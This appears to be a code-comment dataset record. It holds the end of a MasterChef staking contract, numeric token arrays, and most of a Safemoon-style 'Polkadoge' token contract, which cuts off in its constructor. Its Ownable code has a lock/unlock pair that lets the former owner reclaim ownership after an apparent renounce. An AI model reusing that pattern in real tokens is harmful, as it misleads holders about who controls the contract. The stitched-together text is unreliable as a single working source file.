require(transferSuccess, 'MasterChef: safeTestCoinTransfer: transfer failed');
}
// Update dev address by the previous dev.
function setDevAddress(address devAddress_) public {
require(_msgSender() == _devAddress, 'MasterChef: setDevAddress: Only dev can set');
_devAddress = devAddress_;
emit SetDevAddress(_msgSender(), devAddress_);
}
function setFeeAddress(address feeAddress_) public {
require(_msgSender() == _feeAddress, 'MasterChef: setFeeAddress: Only feeAddress can set');
_feeAddress = feeAddress_;
emit SetFeeAddress(_msgSender(), feeAddress_);
}
// Pancake has to add hidden dummy pools inorder to alter the emission, here we make it simple and transparent to all.
function updateEmissionRate(uint256 testCoinPerBlock_) public onlyOwner {
require (testCoinPerBlock_<=10**_testCoin.decimals(),'MasterChef: updateEmissionRate: Max emission 1 testcoin per block');
massUpdatePools();
_testCoinPerBlock = testCoinPerBlock_;
emit UpdateEmissionRate(_msgSender(), testCoinPerBlock_);
}
// Only update before start of farm
function updateStartBlock(uint256 startBlock_) public onlyOwner {
require(startBlock_ > block.number, 'MasterChef: updateStartBlock: No timetravel allowed!');
_startBlock = startBlock_;
}
// Retrieve to the fee address any token that could have been sent to testcoin contract by mistake. recieved on fee address it will be used for dividends.
function retrieveErrorTokensOnTestCoinnAddress(IBEP20 token_) public onlyOwner{
_testCoin.retrieveErrorTokens(token_, _feeAddress);
}
function setMaxTxPercentage(uint16 newPercentage)public onlyOwner{
_testCoin.setMaxTxPercentage(newPercentage);
}
function setExcludeMaxTransactionAddress(address exclude, bool state) public onlyOwner{
_testCoin.setExcludeMaxTransactionAddress(exclude, state);
}
} | Info of each user that stakes LP tokens. | mapping(uint256 => mapping(address => UserInfo)) public _userInfo;
| 14,102,619 | [
1,
966,
434,
1517,
729,
716,
384,
3223,
511,
52,
2430,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
11890,
5034,
516,
2874,
12,
2867,
516,
25003,
3719,
1071,
389,
1355,
966,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▐░░░░░░░░░░░▐░▌ ▐░▌ ▐░▐░░░░░░░░░░░▐░░░░░░░░░░▌▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀█░▐░▌ ▐░▌ ▐░▌▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀▀▀▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▌
▐░█▄▄▄▄▄▄▄█░▐░▌ ▐░▐░▌ ▐░▌░▌ ▐░█▄▄▄▄▄▄▄█░▐░▌ ▐░▐░▌ ▐░▐░▌ ▄▄▄▄▄▄▄▄▐░█▄▄▄▄▄▄▄▄▄
▐░░░░░░░░░░░▐░▌ ▐░▐░▌ ▐░░▌ ▐░░░░░░░░░░░▐░▌ ▐░▐░▌ ▐░▐░▌▐░░░░░░░░▐░░░░░░░░░░░▌
▐░█▀▀▀▀▀▀▀▀▀▐░▌ ▐░▐░▌ ▐░▌░▌ ▐░█▀▀▀▀▀▀▀█░▐░▌ ▐░▐░▌ ▐░▐░▌ ▀▀▀▀▀▀█░▐░█▀▀▀▀▀▀▀▀▀
▐░▌ ▐░▌ ▐░▐░▌ ▐░▌▐░▌ ▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▐░▌ ▐░▐░▌
▐░▌ ▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄▄▄▐░▌ ▐░▌▐░▌ ▐░▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄█░▐░█▄▄▄▄▄▄▄▄▄
▐░▌ ▐░░░░░░░░░░░▐░░░░░░░░░░░▐░▌ ▐░▐░▌ ▐░▐░░░░░░░░░░▌▐░░░░░░░░░░░▐░░░░░░░░░░░▐░░░░░░░░░░░▌
▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀
,(((((%%%%%%%%%%%(((((
(((%%,,,,,,,,,,,,,,,,,,,,,,,,,&%(((
((&&,,,,., ,,,,,,,,,,,,,,,,,,,,,,,,,,,,%%((
((%%,,,,,,,,,,, ,,,,,,,,,,,,,,,,,,,,,, ,,,,&%(
(%%,,,,,,,,,,, ,, ,,,,,,,,,,,,,,,,,,(,,,, ,,,,,,%((
((%,,,,,,,,,,,,,, ,,, ,,,,,,,,,,,,,,,,,(&((( ,,,,,,,,&(
(%,,,,,,,,,,,,,,,. ,,,,,,,,,,*@@@@@@,*((&( ,,,,,,,,,,&(
(%,,,,,,,,,,,,, ,,,,...@@@@@((,,,,,,,,,(&%(((( ,,,,,,,,,,,,,&(
(%,,,,,,,,,,, ,@@@@@.....@@@@@@,,,,,,,,,@@@(( ,,,,,,,,,,,,,,%(
((%,,,,,,,,,, @@@. @@,,.,,,,,,,,,,,,,,,@@@@@@@& ,,,,,,,,,,,,,,,,,,%(*
/(%,,,,,,,,,, ,,,,%.@@@,,,,,,,,,,,,,,,,,,,@@@@@@,,,,%%,,,,,,,,,,,,,,,,,%(
(%,,,,,,,,,,, .@@,,,,%*,,,,,,,,,,@, @@@@,,,,,,,,, @@(,,,,,,,,,,,,,,%(
(%,,,,,,,,,,, @@,,,,,,,,,,,,,,,,,&@,,&,,,,,, &&&&##&&&&&&### ,,,,,,,,,,,,,%(
(%,,,,,,,,,,, ,,,@@@@@@&,,,,,,@@@@,,,,,,,, &&&&&@ .,@@ #####& ,,,,,,,,,,%(
(&,,,,,,,,,, ,,@@@@@@@@%,,,@@@@@@@,,,,, &&&# ,,,,,, ,,, &&&&@,,,,,,,,,%(
((,,,,,,,,,,, , ,,%&@@@@%*,,,,,@@@@@@,,,, &&&& ,,,,,,, ,,,,, #&&&,,,,,,,,%(
(%,,,,,,,,,, ,,%%%%%%&,,,,,,,,,,,,,,,,&&&& ,,, &&& ,, ,,(.%&& ,,,,,,,%(
(&,,,,,,,,,,. ,,,%%%%%%&@,,,,%%@%,,,,,,(### ,,,,##& , ,,,, &#& ,,,,,,,%(
(%,,,,,,,,,,, ,,,,%%%%%,%%,%%%&,,,,,,, &&&@,, ##&@ * , &&&&,,,,,,,,%(
(%,,,,,,,,,,, ,,,,,,,,,,,,,,@@@@,,,,,, ,,, &&&& & &&&&%,,,,,,,,%(
.(%,,,,,,,,,, , ,,,,,,,,,,,,&@@@@,,,, ,,, &&&& .%% ###&&& ,,,,,,,,%(
/(%,,,,,,,,, .,,,, ,,,, @@@@,,,,,,&@###&&&&&##&&@ ,, ,,,,,,,%(
(%,,,,,,,, ,,,,,,@@@@@@@@@@,,,,@@@@@@,,,, &&&&&& ,,,,, ,,,,,,%(
(&,,,,,, ,,,,,,,,@@@@@@@&,,,,,,@@@@,,,,,&&&& ,,,,,....,,, ,,,,,#(
(%,,,, ,@@@@@,,,,,,,,,,,,,,,,,,,,,,,, ##&%,,.#### ...,, ,,,%(
(%, ,,,#&,,,,,,,,,,,,,,,,,@@@@,,,,, &&@....*### .,, ,%(
((%,,,,,,,,,@@@,,,,,,,,,@@@@,,,..............., %((
(#%,,,,@@@@@@@,,,,,,,,,,................. %((
((%%,&@@@&,,,,,,,,..................,,,%&((
(((%%#,.................,,,,,%&&(((
((((((%%%%%&%%%((((((
TG: t.me/polkadogecoin
Website: polkadoge.fi
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Polkadoge is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Polkadoge";
string private _symbol = "PDOG";
uint8 private _decimals = 9;
uint256 public _taxFee = 200;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 200;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 0; //Transfers are disabled before adding liquidity
uint256 private numTokensSellToAddToLiquidity = 50000000 * 10**9; //0.05% of the total supply
mapping(address => bool) public bypassesMaxTxAmount; //Owner and presale contract
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
